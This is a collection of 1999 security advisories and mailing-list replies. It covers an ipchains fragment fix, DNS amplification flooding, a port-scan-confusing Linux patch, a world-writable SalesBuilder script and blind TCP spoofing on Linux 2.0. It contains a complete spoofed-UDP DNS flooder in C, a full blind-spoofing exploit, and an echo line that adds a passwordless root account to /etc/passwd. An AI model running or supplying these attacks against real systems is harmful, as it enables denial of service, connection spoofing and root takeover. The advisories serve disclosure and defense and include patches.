Added SYN in log message. --RR + * 23-Jul-1999: Fixed small fragment security exposure opened on 15-May-1998. + * John McDonald + * Thomas Lopatic */ /* *************** *** 644,650 **** default: size_req = 0; } ! offset = (ntohs(ip->tot_len) < (ip->ihl<<2)+size_req); } src = ip->saddr; --- 647,666 ---- default: size_req = 0; } ! ! /* If it is a truncated first fragment then it can be ! * used to rewrite port information, and thus should ! * be blocked. ! */ ! ! if (ntohs(ip->tot_len) < (ip->ihl<<2)+size_req) ! { ! if (!testing && net_ratelimit()) { ! printk("Suspect short first fragment.\n"); ! dump_packet(ip,rif,NULL,NULL,0,0,0,0); ! } ! return FW_BLOCK; ! } } src = ip->saddr; Demonstration Code ------------------ fragrouter, a component of Nidsbench, has been updated to perform this attack transparently. This is an excellent open source tool for testing intrusion detection systems and packet filters provided by Anzen Computing. The version of fragrouter that performs this attack should be available shortly, at http://www.anzen.com/research/nidsbench/. Additional Information ---------------------- data protect would like to thank Dug Song for his help in implementing this attack. For information regarding this advisory, please contact Thomas Lopatic or John McDonald . The contents of this advisory are Copyright (C) 1999 data protect GmbH, and may be distributed freely provided that no fee is charged for distribution, and that proper credit is given. ========================================== 1.5-:Linux 2.2.10 ipchains Advisory (End): _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.6-:Possible Denial Of Service using DNS (begin): ================================================== SPJ-002-000: .::::::::+[ s0ftpr0ject 99 ]+::::::::. ::::+[ Digital Security for Y2K ]+:::: :::'"""`"'"""`"'"""`"'"""`"'"`"'""`::: ::'.g#S$"$S#n. .g#S$"$S#n. S#n.`:: :: $$$$$ $$$$$ $$$$$ $$$$$ $$$$ :: :: $$$$$ $$$$$ $$$$$ $$$$ :: :: `$$$$$$$$$n $$$$$ $$$$$ $$$$ :: :: $$$$$ $$$$$s$$$$' $$$$ :: :: $$$$$ $$$$$ $$$$$ $$$$$ $$$$ :: :: `$$$$s$$$S' `$$$$ `$$$$s$$S' :: :::...........:.....:::::..........::: :::+[ Security Advisory, 002-000 ]+::: `::::::::+[ July 19, 1999 ]+:::::::::' Possible Denial Of Service using DNS by |scacco| ---[ Systems affected ]------------------------------------------------------- All systems running Bind (All versions seems affected). ---[ Condition of discovery ]------------------------------------------------- This misfeature was discovered configuring bind on a Red Hat 5.2 system shipped with the original cdrom, allowing udp dns requests and without access lists. ---[ Detailed description ]--------------------------------------------------- All domain name systems resides on port 53 formely called domain. Looking at rfc and in particular at RedHat system defaults seems that port 53 is enabled to support udp and tcp requests as specified in /etc/services file: domain 53/tcp domain 53/udp It's possible to flood someone sending spoofed UDP QUERY to the DNS, because UDP doesn't provide a fruitful authentication process. Why use DNS QUERY? Simple. We just want to make sure we've got a real advantage against our nice target so we look for a good I/O ratio. With just a few bytes (20-30) we can achieve responses of around 400-500 bytes. So we usually achieve a 20x ratio. Furthemore, every DNS reply will eligit ICMP unreach packets from the target since no UDP port will be open to accept data. A modem user compared with large RR of type * (0xFF) will be flooded. * ---[ Exploitation ]----------------------------------------------------------- /****************************************************************** * * * DOOMDNS Yet another flooder with 1:x pkts ratio. This one * * exploits DNS simple QUERY with spoofed UDPs. * * Since almost every DNS is bound to answer queries * * from the void, and since UDP doesn't provide a * * fruitful authentication process cause plain TCP * * does, uh !? ;) here we are. * * * * hints by |scacco|, code by FuSyS * * http://www.s0ftpj.org * * * ******************************************************************/ #include #include #include #include #include #include #include #include #include #include #include #include #include #define IP_HEAD_BASE 20 #define UDP_HEAD_BASE 8 unsigned long saddr; int sfd, loop; char *dns_def[]={/* LISTA ASSENTE */ ,NULL}; char *domains[]={/* LISTA ASSENTE */ ,NULL}; struct DNS_MSG { HEADER head; char query[255]; }; struct dns_pkt { struct iphdr ip; struct udphdr udp; char data[1000]; }; unsigned long nameResolve(char *hostname) { struct in_addr addr; struct hostent *hostEnt; if((addr.s_addr=inet_addr(hostname)) == -1) { if(!(hostEnt=gethostbyname(hostname))) { fprintf(stderr,"N0 SUCH H0ST:`%s`\n",hostname); exit(0); } bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length); } return addr.s_addr; } void forge (unsigned long daddr, unsigned short src, unsigned short dst) { struct sockaddr_in sin; struct dns_pkt dpk; struct DNS_MSG killer; int shoot, len; memset(&killer, 0, sizeof(killer)); killer.head.id=getpid(); killer.head.rd=1; killer.head.aa=0; killer.head.opcode=QUERY; killer.head.qr=0; killer.head.qdcount=htons(1); killer.head.ancount=htons(0); killer.head.nscount=htons(0); killer.head.arcount=htons(0); strcat(killer.query, domains[--loop]); killer.query[strlen(domains[loop])+2]=0x00FF; killer.query[strlen(domains[loop])+4]=0x0001; memset(&dpk, 0, sizeof(dpk)); dpk.udp.source=src; dpk.udp.dest=dst; len=(12+strlen(killer.query)+5); dpk.udp.len=htons(UDP_HEAD_BASE+len); memcpy(dpk.data, (void*)&killer, len); dpk.ip.ihl=5; dpk.ip.version=4; dpk.ip.tos=0; dpk.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+len); dpk.ip.frag_off=0; dpk.ip.ttl=64; dpk.ip.protocol=IPPROTO_UDP; dpk.ip.saddr=saddr; dpk.ip.daddr=daddr; memset(&sin, 0, sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=dst; sin.sin_addr.s_addr=daddr; shoot=sendto(sfd, &dpk,IP_HEAD_BASE+UDP_HEAD_BASE+len, 0, (struct sockaddr *)&sin, sizeof(sin)); if(shoot<0)fprintf(stderr, "SPOOF ERROR"); loop++; } void doomzone (void) { unsigned long daddr; unsigned short source, dest; if(dns_def[loop]==NULL) loop=0; daddr=nameResolve(dns_def[loop++]); source=htons(1024+(rand()%2000)); dest=htons(53); forge(daddr, source, dest); } int main (int argc, char **argv) { int sfdo; unsigned int hz=100; if(argc<2) { fprintf(stderr, "Interesting .... let's flood ourselves ?!\n"); fprintf(stderr, "Use: %s target [n]\n", argv[0]); exit(0); } if(argv[2]) hz=atoi(argv[2]); saddr=nameResolve(argv[1]); srand(time(NULL)); if((sfd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) { fprintf(stderr, "\nSOCK_RAW Died\n"); exit(2); } sfdo=1; if(setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &sfdo, sizeof(sfdo))<0) { fprintf(stderr, "\nIP_HDRINCL Died\n"); exit(3); } printf("\n\033[1;32mD00M DNS\033[0m"); printf("\n\033[1;34mDNS Flooder by FuSyS\033[0m"); printf("\n\033[1;34minithints by |scacco|\033[0m\n\n"); loop=0; while(hz--) { doomzone(); printf("\033[1;34m.\033[0m"); } printf("\n\n"); return(0); } ---[Possible fixes ]---------------------------------------------------------- Seems hard to fix this hole due to dns protocol specification, it could be possible to setup access lists or some sort of packet sanity check, for this we want suggest you to keep in contact with ISC staff to get a more efficent solution for this problem. ---[ URLs and references ]---------------------------------------------------- Internet Software Consurtium can be found at http://www.isc.org. This is also the home of bind. ---[ Contact informations ]--------------------------------------------------- s0ftpr0ject 99 - Digital security for Y2K (s0ftpj) no-profit security research Internet site: http://www.s0ftpj.org E-mail : staff@s0ftpj.org All advisories and security documents are available via http at: http://www.s0ftpj.org (195.32.69.44) courtesy of Metro Olografix http://www.olografix.org (195.32.69.44) This document has no copyright, feel free to distribute it without any limitation. Original copy of this document can be found at out Internet site for free. You are not allowed to modify this paper without prior notify to s0ftpr0ject staff at staff@s0ftpj.org. ---[ s0ftpr0ject 99 staff Public PGP Key ]------------------------------------ Type Bits/KeyID Date User ID pub 2600/15A01BB9 1999/07/22 S0ftPj Staff -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQFSAzeXNL8AAAEKKNzvok6FkB24mQUEx5Q4SZ97dQlmx3yNeEvG7aJ/0TDKWWUv f6a+t1jF8V7JMhV1JxU/z38MgTYRGt6dspWlTLKb543GxBRqOdMohigBu8rUmDEb UlD9gAav5M+OSY6oNh5a7e/YrPLhOiqxNxBIXQCDgKtIUv9NF8KbcbS96EAmNsuH UA/hJ2Arlx2wSkmJZgvcpiM6O/1g1OYgg7Gur39SqsNZn0RUKxi463qASGfJT4sa rpH6clBsVpNei5bf/4Bke5/8dnJL5DzM0twxTUmvdq1Pt1+6sRCd70IsqXPvjZu2 Drx4rzlLItD84xmE9w/vGdLMtPSTPwX7ak2TvhWqBOkqzWJNiRjzi+T6HiNfuqUr sr90FndiRNJcWCbmPs2TJISLePsi9AVGL5KFfmimdSJPagzWG1FVQhyo2HS4nRWg G7kABRG0H1MwZnRQaiBTdGFmZiA8c3RhZmZAczBmdHBqLm9yZz6JAVoDBRA3lzS/ 2HS4nRWgG7kBAaYiCiQPM05Pr5FkSgjHkVUbgyxwuWkp9MDOxhvFAgcsHJUX2h6V F02vzDMR2BOvaRhkm43IwXxK490Tp86pbbhC28SiF3TEyHjmu8tMrXo/cX69fcqy IbvVgHKEIUYR8Sik7mLX9HqUh9qh7e6o4cH5TsCCJxIoqf2Qt4t5HA4m77H1niNP EqY2HGzvQUPfvTf+KffdLGoAa/NSKJyB8stlWIJ4SAe7EkGscSjcDFvrm25pDT33 JHyBHBdmUY0Kr+gzmg9CuUZUhVtdun0mwZJLicOSUFQeYuPsid+ayggdgfGR7spM NymPkS2MF8jGOKCa9EqWbn5gBP0uZm5aMrg6+O+s+xNonK0BcFH7iIUAsL9qUHLD 4edFudwxa6XW7LuJoqDVlUzhqA3Ru5Yd8eTD7vbcjR3fRngDpLDu8UhC0MFQSoDW IWKJ =i4i0 -----END PGP PUBLIC KEY BLOCK----- ________________________________________________________________________________________________________ 1.6-:Possible Denial Of Service using DNS ; réponse (1/2) : ________________________________________________________________________________________________________ > So it seems that DNS querys can use TCP. BUT what we need is the > server > FORCING the use of TCP. It *seems* we could force this by editing > the > file "/etc/services" and commenting or deleting the UDP entry: > > whois 43/tcp nicname # usually to > sri-nic > domain 53/tcp > > #domain 53/udp > mtp 57/tcp # deprecated > > This way, both the *local* name server and *local* resolver would > use > TCP on its domain name related tasks... This means that *local* > querys > would work over TCP. That will do nothing. The "/etc/services" is just used to pretty up some displays as far as DNS is concerned. Remove the entry will do nothing. > The problem comes up, when an standard remote client querys a > 'TCP-forced' system. What happens when such a client starts an UDP > query to a TCP service? Is it able to detect it and restart the > process > using TCP? Nothing will happen. The query will fail. > Unfortunately, I could not found any kind of information on this > matter. > It seems to me that this is an unspecified case. It seems that UDP > & TCP > are treated as separete worlds... I think that, in the best case, > this > will depend on vendor implementation, and not as an standard > behaviour. Every implementation I've ever seen will assume that a server that doesn't respond to UDP queries is dead. Even zone transfers, which do use TCP, are almost always preceded by an essential UDP fetch of the zone serial number to decide that the transfer is necessary. > Besides that, we have de UDP/TCP interoperation problem mentioned > before. This would imply reconfiguring or patching all the DNS > servers > *and clients* in the world, among other things... So it 'seems' > that it > is not practical approach. ;P No client changes are required. Clients can still use UDP to query their own name servers. Name servers would have to force TCP on queries from remote name servers. > Perhaps, It may be interesting a review or a new generation of the > standard. I, honestly, ignore if this it's being done. Anyway, > given > what we have today it's *the* long term solution, isn't it? ;P. A better solution is a quick UDP 'handshake' before a remote server or client is authorized to use a name server. Thus, if you wish to use a name server, you'd send a UDP 'connection request' packet to it and it would reply with a key that you could use for future requests. Since the key would be sent to the victim, and you couldn't amplify without it, the attack would be gone. The problem is, over the Internet at large, name servers need to connect to large numbers of different name servers, as opposed to the same ones over and over. So this would have some impact. The important thing to realize is that the first step to fixing this is name servers not providing server-client service to anyone. Once the server-client service is restricted to 'local' IPs, the server-server protocol can be locked down. DS _________________________________________________________________________________________________________ 1.6-:Possible Denial Of Service using DNS ; réponse (2/2) : _________________________________________________________________________________________________________ > This is a multi-part message in MIME format. > > ------=_NextPart_000_0018_01BEE35A.297221E0 > Content-Type: text/plain; > charset="iso-8859-1" > Content-Transfer-Encoding: 8bit > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi, > > I must admit that I have been really surprised seeing people's > 'reaction' > on this particular matter. We are used to see really good debates when > something 'c00l' comes up to the scene... But this time, nothing: no > code review, no debate about possible solutions, ... :?. The only real solution is to have ISP actually police the source addresses of packets entering their networks from their customers. There is nothing new here. Good ISP's do this already, bad ones don't. The best ones will even notify the customers that they have a problem when they see attacks like this lauched from within the customer's network. Mark -- Mark Andrews, Internet Software Consortium 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka@isc.org ================================================ 1.6-:Possible Denial Of Service using DNS (End): _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.7-: to prevert port scanning in linux 2.0.x (begin): ====================================================== Hi, It seems that some bugtraq readers still runs linux 2.0.3[67]. In order to prevent SYN, FIN, Xmas, NULL tcp scan and maybe connect() scan (for exaple it's true with nmap, false with strobe) it's possible to apply this kernel patch. This stupid patch change the sequence SYN ---> closed port <--- RST to SYN ---> closed port <--- SYN|ACK ACK ---> <--- RST and answers RST to FIN, Xmas and NULL tcp flags even if the port is open, like win*. If an attacker scans a patched host it gets all ports are open, so it gets nothing. The patch is tested on linux 2.0.36, maybe it's good even for 2.0.37. bye, antirez diff -u -r linux/net/ipv4/tcp_input.c /usr/src/linux-2.0.36/net/ipv4/tcp_input.c --- linux/net/ipv4/tcp_input.c Sat Jul 17 11:21:01 1999 +++ /usr/src/linux-2.0.36/net/ipv4/tcp_input.c Sat Jul 17 12:00:13 1999 @@ -46,6 +46,7 @@ * * George Baeslack : SIGIO delivery on accept() bug that * affected sun jdk. + * Salvatore Sanfilippo : Prevents SYN, FIN, Xmass, NULL scan. */ #include @@ -2464,6 +2465,12 @@ } } #endif + tcp_send_reset(daddr,saddr,th,sk->prot,opt,dev,0, 255); + } + + /* resets FIN, Xmas, NULL */ + if (!th->syn && !th->ack && !th->rst && ip_chk_addr(daddr)==IS_MYADDR) + { tcp_send_reset(daddr,saddr,th,sk->prot,opt,dev,0, 255); } diff -u -r linux/net/ipv4/tcp_output.c /usr/src/linux-2.0.36/net/ipv4/tcp_output.c --- linux/net/ipv4/tcp_output.c Sat Jul 17 11:21:01 1999 +++ /usr/src/linux-2.0.36/net/ipv4/tcp_output.c Sat Jul 17 11:56:35 1999 @@ -759,7 +759,7 @@ t1->source = th->dest; t1->doff = sizeof(*t1)/4; t1->rst = 1; - + if(th->ack) { t1->seq = th->ack_seq; @@ -770,7 +770,15 @@ if(!th->syn) t1->ack_seq = th->seq; else + { t1->ack_seq = htonl(ntohl(th->seq)+1); + /* send bogus syn/ack */ + t1->rst = 0; + t1->syn = 1; + t1->ack = 1; + if (th->fin) + t1->fin = 1; /* as 2.0.3x we answer SAF */ + } } ==================================================== 1.7-: to prevert port scanning in linux 2.0.x (End): ________________________________________________________________________________________________________ ________________________________________________________________________________________________________ 1.8-:World writable root owned script in SalesBuilder (RedHat 6.0) (begin): =========================================================================== SPJ-001-000: .::::::::+[ s0ftpr0ject 99 ]+::::::::. ::::+[ Digital Security for Y2K ]+:::: :::'"""`"'"""`"'"""`"'"""`"'"`"'""`::: ::'.g#S$"$S#n. .g#S$"$S#n. S#n.`:: :: $$$$$ $$$$$ $$$$$ $$$$$ $$$$ :: :: $$$$$ $$$$$ $$$$$ $$$$ :: :: `$$$$$$$$$n $$$$$ $$$$$ $$$$ :: :: $$$$$ $$$$$s$$$$' $$$$ :: :: $$$$$ $$$$$ $$$$$ $$$$$ $$$$ :: :: `$$$$s$$$S' `$$$$ `$$$$s$$S' :: :::...........:.....:::::..........::: :::+[ Security Advisory, 001-000 ]+::: `::::::::+[ July 12, 1999 ]+:::::::::' World Writable File in SalesBuilder by |scacco| ---[ Systems affected ]------------------------------------------------------- All systems running Acushop SalesBuilder. ---[ Condition of discovery ]------------------------------------------------- This bug was discovered installing software from the application cd shipped with RedHat Linux 6.0 as root. ---[ Detailed description ]--------------------------------------------------- The startup file .sbstart linked from /usr/bin/salesbuilder and /usr/local/bin/salesbuilder is set world writable so anyone can add code to it and possibly get root locally. .sbstart can be found (after installing it from RedHat application cd) at /usr/local/bin/acushop/.sbstart. If this application was installed as root you will see this permission set: -rwxrwxrwx 1 root root 163 Jun 29 19:45 .sbstart Seems it can be executed and write by everyone. Someone can simply add a line line echo "r00t::0:0::/root:/bin/sh" >> /etc/passwd or make a script executed with root uid and gid. Note that this file is set hidden using . as prefix so modifications are really hard to discover from a not-so expert system administrator. ---[ Exploitation ]----------------------------------------------------------- Just edit the file with a normal text editor like vi, joe, pico or emacs and add a line like: echo "r00t::0:0::/root:/bin/sh" >> /etc/passwd Of course there are many ways to get this hole usable, you can figure out how. ---[Possible fixes ]---------------------------------------------------------- Possible fix is to install this software not as root, and if it necessary do not set it world writable. Acushop was advised of this vulnerability but seemed not really interested in security. ---[ URLs and references ]---------------------------------------------------- Acushop Sales Builder can be found at http://www.acushop.com. ---[ Contact informations ]--------------------------------------------------- s0ftpr0ject 99 - Digital security for Y2K (s0ftpj) no-profit security research Internet site: http://www.s0ftpj.org E-mail : advisory@s0ftpj.org : staff@s0ftpj.org All advisories and security documents are available via http at: http://www.s0ftpj.org (195.32.69.44) courtesy of Metro Olografix http://www.olografix.org (195.32.69.44) This document has no copyright, feel free to distribute it without any limitation. Original copy of this document can be found at out Internet site for free. You are not allowed to modify this paper without prior notify to s0ftpr0ject staff at staff@s0ftpj.org. ---[ s0ftpr0ject 99 staff Public PGP Key ]------------------------------------ Type Bits/KeyID Date User ID pub 2600/15A01BB9 1999/07/22 S0ftPj Staff -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQFSAzeXNL8AAAEKKNzvok6FkB24mQUEx5Q4SZ97dQlmx3yNeEvG7aJ/0TDKWWUv f6a+t1jF8V7JMhV1JxU/z38MgTYRGt6dspWlTLKb543GxBRqOdMohigBu8rUmDEb UlD9gAav5M+OSY6oNh5a7e/YrPLhOiqxNxBIXQCDgKtIUv9NF8KbcbS96EAmNsuH UA/hJ2Arlx2wSkmJZgvcpiM6O/1g1OYgg7Gur39SqsNZn0RUKxi463qASGfJT4sa rpH6clBsVpNei5bf/4Bke5/8dnJL5DzM0twxTUmvdq1Pt1+6sRCd70IsqXPvjZu2 Drx4rzlLItD84xmE9w/vGdLMtPSTPwX7ak2TvhWqBOkqzWJNiRjzi+T6HiNfuqUr sr90FndiRNJcWCbmPs2TJISLePsi9AVGL5KFfmimdSJPagzWG1FVQhyo2HS4nRWg G7kABRG0H1MwZnRQaiBTdGFmZiA8c3RhZmZAczBmdHBqLm9yZz6JAVoDBRA3lzS/ 2HS4nRWgG7kBAaYiCiQPM05Pr5FkSgjHkVUbgyxwuWkp9MDOxhvFAgcsHJUX2h6V F02vzDMR2BOvaRhkm43IwXxK490Tp86pbbhC28SiF3TEyHjmu8tMrXo/cX69fcqy IbvVgHKEIUYR8Sik7mLX9HqUh9qh7e6o4cH5TsCCJxIoqf2Qt4t5HA4m77H1niNP EqY2HGzvQUPfvTf+KffdLGoAa/NSKJyB8stlWIJ4SAe7EkGscSjcDFvrm25pDT33 JHyBHBdmUY0Kr+gzmg9CuUZUhVtdun0mwZJLicOSUFQeYuPsid+ayggdgfGR7spM NymPkS2MF8jGOKCa9EqWbn5gBP0uZm5aMrg6+O+s+xNonK0BcFH7iIUAsL9qUHLD 4edFudwxa6XW7LuJoqDVlUzhqA3Ru5Yd8eTD7vbcjR3fRngDpLDu8UhC0MFQSoDW IWKJ =i4i0 -----END PGP PUBLIC KEY BLOCK----- ========================================================================= 1.8-:World writable root owned script in SalesBuilder (RedHat 6.0) (End): _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.9-:Linux blind TCP spoofing, act II + others (begin): ======================================================= Hello, Thanks to libnids development, some features/bugs in Linux kernel were found. I notified kernel mantainers in May, but they didn't seem interested. 1. Blind TCP spoofing against 2.0.36/37 Let's label a Linux server as A, an attacker's host as B, the spoofed host as C. If the following conditions hold: a) C is down (disabled) b) A is idle; more precisely, during the attack A should not send any packets beside ones generated in response to the packets sent by B c) during the attack, no packet sent from B to A can be dropped by a router then an attacker can spoof a TCP stream connecting A and C. As we see, these conditions are not trivial. However, b) and c) can hold if an attack is conducted during low network traffic period; and there are ways to fulfill a) :) Firstly, let's have a look how Linux 2.0.x reacts to a non-typical TCP segment sent as a third packet of a three way handshake. In the example below we send to a Linux server (A) packets from B with source address set to C. Time packets with forged source address packets sent by the server 0 flags=S,seq=X 1 flags=SA,seq=Y,ack_seq=X+1 2 flags=A,seq=X+1, ack_seq=Y-1000 3 no packet generated ! 4 flags=A,seq=X+1,ack_seq=Y+1000 5 flags=R,seq=Y+1000 a packet IS generated ! 6 flags=A,seq=X+1,ack_seq=Y+1 7 flags=A,seq=Y+1,ack_seq=X+1 socket enters "established" state 8 flags=A,seq=X+1,ack_seq=Y+1000 9 no packet sent ! So, when an attacker sends (as a third packet of tcp handshake) a packet with too small ack_seq, the server sends no packets (doesn't it violate RFC793 ?). When a packet with too big ack_seq is sent, the server sends a packet (with a reset flag). Now let's recall another Linux feature. Many OSes (including Linux) assign to ID field of an outgoing IP datagram consecutive, increasing numbers (we forget about fragmentation here; irrelevant in this case). That enables anyone to determine the number of packets sent by host A: it's enough to ping it, note the value of ID field of received ICMP_REPLY packet, wait x seconds (or perform some other actions), then again ping host A. The difference between ID fields of received ICMP_REPLY packets is equal to (the number of packets sent by A in x second) +1. "Idle portscan" by antirez uses this technique. Having sent an initial TCP segment with SYN flag, our attack will consist of a set of "probes". In each probe, we send a (forged) TCP packet with flags=A and (arbitrary) ack_seq=X, then we send an ICMP_ECHO request, and finally note the ID field of received ICMP_REPLY packet. If this ID field has incremented by 1 since the last time, only one packet were sent by server (ICMP_REPLY), so we must have chosen too small X (that is, ack_seq). If ID field has incremented by 2, two packes were sent (TCP with reset flag and ICMP_REPLY), so we must have chosen too big ack_seq. This way we can perform a binary search in space of ack_seq's, determining exact ack_seq after at most 32 probes. Note that finding correct ack_seq can be verified by sending a probe with previously found too big ack_seq; if connection is in "established" state, no packet will be generated by server. After we have found the Holy Graal of blind spoofers, the correct value of ack_seq, nothing will prevent us from completing 3whs and sending arbitrary data. At the end of this post I enclosed an exploit; don't use it without the permission of the target host's admin. I tested it on 2.0.37, 36 and 30; probably all 2.0.x are affected. It requires libnet (which can be downloaded from www.packetfactory.net). I compiled it on Linux glibc system. The following simple patch (against 2.0.37) enforces sending a reset in response to a packet with too small ack_seq (of course, only when we are in SYN_RECV state). This patch also cures the bug described in point 3. -------------------------CUT HERE-------------------------------------- --- linux-2.0.37/net/ipv4/tcp_input.c.orig Fri Jul 23 17:25:14 1999 +++ linux/net/ipv4/tcp_input.c Fri Jul 23 17:29:43 1999 @@ -2764,7 +2764,18 @@ kfree_skb(skb, FREE_READ); return 0; } - + + if (sk->state==TCP_SYN_RECV && th->ack && skb->ack_seq!=sk->sent_seq) + { + /* + * Quick fix to detect too small ack_seq + * in 3rd packet of 3ws and force a RST segment. + */ + tcp_send_reset(daddr, saddr, th,sk->prot, opt, dev,0,255); + kfree_skb(skb, FREE_READ); + return 0; + } + rfc_step6: /* * If the accepted buffer put us over our queue size we -------------------------CUT HERE-------------------------------------- 2. A byte of urgent data can be received in normal data stream. Let's consider the following scenario: Time Client app Server app 0 bind(...), listen(...), accept(...) 1 connect(...) 2 accept(...) returns newsock 3 send(sockfd,"AB",2,MSG_OOB) 4 send(sockfd,"XY",2,MSG_OOB) 5 n=read(newsock,buffer,1024) function read returns 3, buffer contains "ABX", though byte 'B' was marked as urgent. Verified with 2.0.37 and 2.2.9-ac1, probably all versions are vulnerable. Note that this behaviour can be exploited to bypass NIDS. 3. Weird handling of 3rd stage of TCP handshake. Time packets sent by a client packets sent by a server 0 flags=S,seq=X 1 flags=SA,seq=Y,ack_seq=X+1 2 flags=A,seq=X+1,ack_seq=Y-4,data="xyz" 3 flags=A,seq=Y+1,ack_seq=X+4 no data is returned to app 4 flags=SA,seq=Y+1,ack_seq=X+4 5 flags=A,seq=X+1,ack_seq=Y+1,data="1234567" 6 flags=A,seq=Y+1,ack_seq=X+8 app receives "4567" which is inconsitent. Either the packet sent in time 2 should be discarded and app should receive "1234567", or app should receive "xyz4567" . Verified on 2.0.36, 2.2.x behaves correctly (sends reset in time 3). Usually it is not a problem, but IDS developers can be worried. Save yourself, Nergal /* by Nergal */ #include "libnet.h" #include #include int sock, icmp_sock; int packid; unsigned int target, target_port, spoofed, spoofed_port; unsigned long myaddr; int get_id () { char buf[200]; char buf2[200]; int n; unsigned long addr; build_icmp_echo (ICMP_ECHO, 0, getpid (), 1, 0, 0, buf + IP_H); build_ip (ICMP_ECHO_H, 0, packid++, 0, 64, IPPROTO_ICMP, myaddr, target, 0, 0, buf); do_checksum (buf, IPPROTO_ICMP, ICMP_ECHO_H); write_ip (sock, buf, IP_H + ICMP_ECHO_H); do { n = read (icmp_sock, buf2, 200); addr = ((struct iphdr *) buf2)->saddr; } while (addr != target); return ntohs (((struct iphdr *) buf2)->id); } static int first_try; int is_bigger () { static unsigned short id = 0, tmp; usleep (10000); tmp = get_id (); if (tmp == id + 1) { id = tmp; return 0; } else if (tmp == id + 2) { id = tmp; return 1; } else { if (first_try) { id = tmp; first_try = 0; return 0; } fprintf (stderr, "Unexpected IP id, diff=%i\n", tmp - id); exit (1); } } void probe (unsigned int ack) { char buf[200]; usleep (10000); build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, 0, 0, buf + IP_H); build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed, target, 0, 0, buf); do_checksum (buf, IPPROTO_TCP, TCP_H); write_ip (sock, buf, IP_H + TCP_H); } void send_data (unsigned int ack, char *rant) { char * buf=alloca(200+strlen(rant)); build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, rant, strlen (rant), buf + IP_H); build_ip (TCP_H + strlen (rant), 0, packid++, 0, 64, IPPROTO_TCP, spoofed, target, 0, 0, buf); do_checksum (buf, IPPROTO_TCP, TCP_H + strlen (rant)); write_ip (sock, buf, IP_H + TCP_H + strlen (rant)); } void send_syn () { char buf[200]; build_tcp (spoofed_port, target_port, 1, 0, 2, 32000, 0, 0, 0, buf + IP_H); build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed, target, 0, 0, buf); do_checksum (buf, IPPROTO_TCP, TCP_H); write_ip (sock, buf, IP_H + TCP_H); } #define MESSAGE "Check out netstat on this host :)\n" void send_reset () { char buf[200]; build_tcp (spoofed_port, target_port, 4 + strlen (MESSAGE), 0, 4, 32000, 0, 0, 0, buf + IP_H); build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed, target, 0, 0, buf); do_checksum (buf, IPPROTO_TCP, TCP_H); write_ip (sock, buf, IP_H + TCP_H); } #define LOTS ((unsigned int)(1<<30)) main (int argc, char **argv) { unsigned int seq_low = 0, seq_high = 0, seq_toohigh, seq_curr; int i; char myhost[100]; struct hostent *ht; if (argc != 5) { printf ("usage:%s target_ip target_port spoofed_ip spofed_port\n", argv[0]); exit (1); } gethostname (myhost, 100); ht = gethostbyname (myhost); if (!ht) { printf ("Your system is screwed.\n"); exit (1); } myaddr = *(unsigned long *) (ht->h_addr); target = inet_addr (argv[1]); target_port = atoi (argv[2]); spoofed = inet_addr (argv[3]); spoofed_port = atoi (argv[4]); sock = open_raw_sock (IPPROTO_RAW); icmp_sock = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP); if (sock <= 0 || icmp_sock <= 0) { perror ("raw sockets"); exit (1); } packid = getpid () * 256; fprintf(stderr,"Checking for IP id increments\n"); first_try=1; for (i = 0; i < 5; i++) { is_bigger (); sleep(1); fprintf(stderr,"#"); } send_syn (); fprintf (stderr, "\nSyn sent, waiting 33 sec to get rid of resent SYN+ACK..."); for (i = 0; i < 33; i++) { fprintf (stderr, "#"); sleep (1); } fprintf (stderr, "\nack_seq accuracy:"); first_try=1; is_bigger(); probe (LOTS); if (is_bigger ()) seq_high = LOTS; else seq_low = LOTS; probe (2 * LOTS); if (is_bigger ()) seq_high = 2 * LOTS; else seq_low = 2 * LOTS; probe (3 * LOTS); if (is_bigger ()) seq_high = 3 * LOTS; else seq_low = 3 * LOTS; seq_toohigh = seq_high; if (seq_high == 0 || seq_low == 0) { fprintf (stderr, "Non-listening port or not 2.0.x machine\n"); send_reset (); exit (0); } do { fprintf (stderr, "%i ", (unsigned int) (seq_high - seq_low)); if (seq_high > seq_low) seq_curr = seq_high / 2 + seq_low / 2 + (seq_high % 2 + seq_low % 2) / 2; else seq_curr = seq_low + (unsigned int) (1 << 31) - (seq_low - seq_high) / 2; probe (seq_curr); if (is_bigger ()) seq_high = seq_curr; else seq_low = seq_curr; probe (seq_toohigh); if (!is_bigger ()) break; // getchar(); } while ((unsigned int) (seq_high - seq_low) > 1); fprintf (stderr, "\nack_seq=%u, sending data...\n", seq_curr); send_data (seq_curr, MESSAGE); fprintf (stderr, "Press any key to send reset.\n"); getchar (); send_reset (); } _________________________________________________________________________________________________________ 1.9-:Linux blind TCP spoofing, act II + others (begin): réponse(1/7) : _________________________________________________________________________________________________________ Hello, > I notified kernel mantainers in May, but they didn't seem interested. Perhaps everyone cares about 2.2 and 2.3 only these days. > So, when an attacker sends (as a third packet of tcp handshake) a > packet with too small ack_seq, the server sends no packets (doesn't it > violate RFC793 ?). When a packet with too big ack_seq is sent, the server > sends a packet (with a reset flag). I've first heard of this behavior from Coder's IP-spoof.2. He didn't realize this was a bug until I told him, though. My secure-linux patch for 2.0.33 included a fix for this (and a few other bugfixes, all enabled with its CONFIG_SECURE_BUGFIX option): +#ifdef CONFIG_SECURE_BUGFIX + return 0; +#else return 1; +#endif That's the last "return" in tcp_ack(), in linux/net/ipv4/tcp_input.c. A zero return from tcp_ack() means a failed handshake, and generates an RST packet. Then 2.0.34 came out, and some of my bugfixes got in, including this one. From patch-2.0.34.gz: - return 1; + return 